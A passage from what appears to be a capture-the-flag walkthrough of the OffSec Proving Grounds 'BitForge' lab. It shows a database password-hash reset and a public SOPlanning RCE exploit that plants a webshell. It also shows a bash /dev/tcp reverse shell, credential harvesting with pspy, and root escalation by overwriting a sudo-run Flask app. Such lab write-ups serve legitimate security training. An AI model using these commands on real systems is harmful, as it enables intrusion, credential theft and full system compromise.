| user1     | Test people 1 | NULL  | NULL                                     |
| user2     | Test people 2 | NULL  | NULL                                     |
| user3     | Test people 3 | NULL  | NULL                                     |
+-----------+---------------+-------+------------------------------------------+
5 rows in set (0.019 sec)

Unfortunately, we cannot crack this hash using hashcat. What we can do is find the default hash of this application (admin) and replace the current value in the database with the default hash. To find this hash, go to the application source (fork) and copy the hash of the password: https://github.com/Worteks/soplanning/blob/master/includes/demo_data.inc, df5b909019c9b1659e86e0d6bf8da81d6fa3499e.

Now let’s replace the current hash with this default hash for admin.

## update the value with the default password hash for `admin`
MySQL [soplanning]> UPDATE planning_user SET password="df5b909019c9b1659e86e0d6bf8da81d6fa3499e" WHERE user_id="ADM";
Query OK, 1 row affected (0.024 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Now we can try to log in using the credentials admin:admin.

We indeed get logged in, so now we can try the exploit and get a interactive shell as the www-data user in the /var/www/plan.bitforge.lab/public_html/www/upload/files/ubute3 directory.

## change directory
cd exploits

## download the exploit
wget https://raw.githubusercontent.com/theexploiters/CVE-2024-27115-Exploit/refs/heads/main/SOPlanning-1.52.01-RCE-Exploit.py
--2025-08-24 20:56:17--  https://raw.githubusercontent.com/theexploiters/CVE-2024-27115-Exploit/refs/heads/main/SOPlanning-1.52.01-RCE-Exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2663 (2.6K) [text/plain]
Saving to: ‘SOPlanning-1.52.01-RCE-Exploit.py’

SOPlanning-1.52.01-RCE-Exploit.py  100%[=============================================================>]   2.60K  --.-KB/s    in 0s      

2025-08-24 20:56:17 (12.2 MB/s) - ‘SOPlanning-1.52.01-RCE-Exploit.py’ saved [2663/2663]

## run the exploit and type `yes` to get an interactive shell
python3 SOPlanning-1.52.01-RCE-Exploit.py -t http://plan.bitforge.lab/www -u admin -p admin
[+] Uploaded ===> File 'wkc.php' was added to the task !
[+] Exploit completed.
Access webshell here: http://plan.bitforge.lab/www/upload/files/ubute3/wkc.php?cmd=<command>
Do you want an interactive shell? (yes/no) yes
soplaning:~$ 

## print current user
soplaning:~$ whoami
www-data

## print current working directory
soplaning:~$ pwd
/var/www/plan.bitforge.lab/public_html/www/upload/files/ubute3

To get a stable TTY setup a listener, catch a new reverse shell and upgrade it using the script binary.

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.237/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup listener
nc -lvnp 9001
listening on [any] 9001 ...

## on target:
## run the reverse shell command
soplaning:~$ /usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.237/80 0>&1'

## catch the reverse shell
nc -lvnp 80  
listening on [any] 80 ...
connect to [192.168.45.237] from (UNKNOWN) [192.168.127.186] 51500
bash: cannot set terminal process group (1290): Inappropriate ioctl for device
bash: no job control in this shell
<.bitforge.lab/public_html/www/upload/files/crefyj$ 

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/crefyj$ export TERM=xterm
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/crefyj$ stty columns 200 rows 200

Lateral Movement
#

First we list the users on the target that have a shell. There are three users, root, ubuntu and jack.

## list users with a shell
www-data@BitForge:/var/tmp$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
jack:x:1001:1001::/home/jack:/bin/bash

Let’s run pspy64 to see what’s running on the target. Download and upload pspy to the target and run it to see if there are processes running that we can abuse. Go to: https://github.com/DominicBreuker/pspy, click on releases and select pspy64. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it.

## change directory
cd uploads

## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 . 

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.237/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::3582:f1b1:cb84:7c22/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on the target
## change directory
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/crefyj$ cd /var/tmp
www-data@BitForge:/var/tmp$ 

## download pspy64 using wget
www-data@BitForge:/var/tmp$ wget http://192.168.45.237/pspy64
--2025-08-24 19:13:46--  http://192.168.45.237/pspy64
Connecting to 192.168.45.237:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                                              0%[                                                                                  pspy64                                             13%[=============>                                                                    pspy64                                             37%[=======================================>                                          pspy64                                             76%[==================================================================================pspy64                                            100%[=============================================================================================================>]   2.96M  4.01MB/s    in 0.7s    

2025-08-24 19:13:46 (4.01 MB/s) - 'pspy64' saved [3104768/3104768]

## set execution bit
www-data@BitForge:/var/tmp$ chmod +x pspy64

## run pspy64
www-data@BitForge:/var/tmp$ ./pspy64 

The output of pspy64 shows credentials of the jack user, jack:j4cKF0rg3@445. Let’s switch to the jack user. Indeed we can switch using these credentials and print local.txt.

www-data@BitForge:/var/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/24 19:16:01 CMD: UID=0     PID=2404   | /bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.log 2>&1     

## switch to the `jack` user and enter the password once asked
www-data@BitForge:/var/tmp$ su jack
Password: 
jack@BitForge:/var/tmp$ 

## find `local.txt` on the filesystem
jack@BitForge:/var/tmp$ find / -iname 'local.txt' 2>/dev/null
/home/jack/local.txt

## print `local.txt`
jack@BitForge:/var/tmp$ cat /home/jack/local.txt
51d3590f41eea109b3a53cdd451e5b32

Privilege Escalation
#

Listing the sudo privileges of the jack user, we see, this user can run /usr/bin/flask_password_changer with sudo without a password. When we print this file, it’s a bash file, changing directory to cd /opt/password_change_app and running the flask application.

## list the sudo privileges
jack@BitForge:/var/tmp$ sudo -l
Matching Defaults entries for jack on bitforge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset

User jack may run the following commands on bitforge:
    (root) NOPASSWD: /usr/bin/flask_password_changer

## print the content of `/usr/bin/flask_password_changer`
jack@BitForge:/var/tmp$ cat /usr/bin/flask_password_changer
#!/bin/bash
cd /opt/password_change_app 
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debug

Listing the content of the /opt/password_change_app directory shows we own the files. So let’s change them to escalate our privileges.

jack@BitForge:/var/tmp$ ls -la /opt/password_change_app
total 16
drwxr-xr-x 3 jack jack 4096 Jan 16  2025 .
drwxr-xr-x 4 root root 4096 Jan 16  2025 ..
-rw-r--r-- 1 jack jack  134 Jan 16  2025 app.py
drwxr-xr-x 2 jack jack 4096 Jan 16  2025 templates

## echo multiline exploit
jack@BitForge:/var/tmp$ echo -e "import os\nos.setuid(0)\nos.system('/usr/bin/bash -p')" > /opt/password_change_app/app.py

## print `/opt/password_change_app/app.py`
jack@BitForge:/var/tmp$ cat /opt/password_change_app/app.py
import os
os.setuid(0)
os.system('/usr/bin/bash -p')

## run the sudo command
jack@BitForge:/var/tmp$ sudo /usr/bin/flask_password_changer
root@BitForge:/opt/password_change_app#

## print `proof.txt`
root@BitForge:/opt/password_change_app# cat /root/proof.txt
767a87ef164e15521fe3b3f12d70bc78

References
#

[+] https://github.com/arthaud/git-dumper
[+] https://github.com/Worteks/soplanning/blob/master/includes/demo_data.inc
[+] https://raw.githubusercontent.com/theexploiters/CVE-2024-27115-Exploit/refs/heads/main/SOPlanning-1.52.01-RCE-Exploit.py
[+] https://github.com/DominicBreuker/pspy

Related

OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.
OFFSEC - Proving Grounds - OCHIMA
·1818 words·9 mins
OSCP OFFSEC PG PRACTICE MALTRAIL PSPY
Maltrail 0.52 on port 8338 allows unauthenticated RCE, granting initial access. Exploit /var/backups/etc_Backup.sh as it’s run by root every minute, to escalate to root privileges.
OFFSEC - Proving Grounds - ZIPPER
·1811 words·9 mins
OSCP OFFSEC PG PRACTICE PHPWRAPPER PSPY
Zipper website on port 80 allows file uploads. Use ZIP PHP wrapper for initial access and escalate to root via /opt/backup.sh script.
OFFSEC - Proving Grounds - FLU
·2194 words·11 mins
OSCP OFFSEC PG PRACTICE CONFLUENCE PSPY
Atlassian Confluence 7.13.6 on port 8090 has CVE-2022-26134 exploit for initial access. Add reverse shell to script for root privileges.
OFFSEC - Proving Grounds - LAW
·1640 words·8 mins
OSCP OFFSEC PG PRACTICE PSPY
Exploit CVE-2022-35914 on htmLawed 1.2.5 (port 80) with curl for RCE, get www-data shell. Pspy finds root script owned by www-data, run every minute. Add reverse shell, wait for root shell.
OFFSEC - Proving Grounds - LAVITA
·2978 words·14 mins
OSCP OFFSEC PG PRACTICE LARAVEL
SSH in or exploit Laravel 8.4.0 with APP_DEBUG is set to true to gain www-data access. Abuse skunk’s script to escalate to skunk and use sudo /usr/bin/composer to edit composer.json to escalate privileges.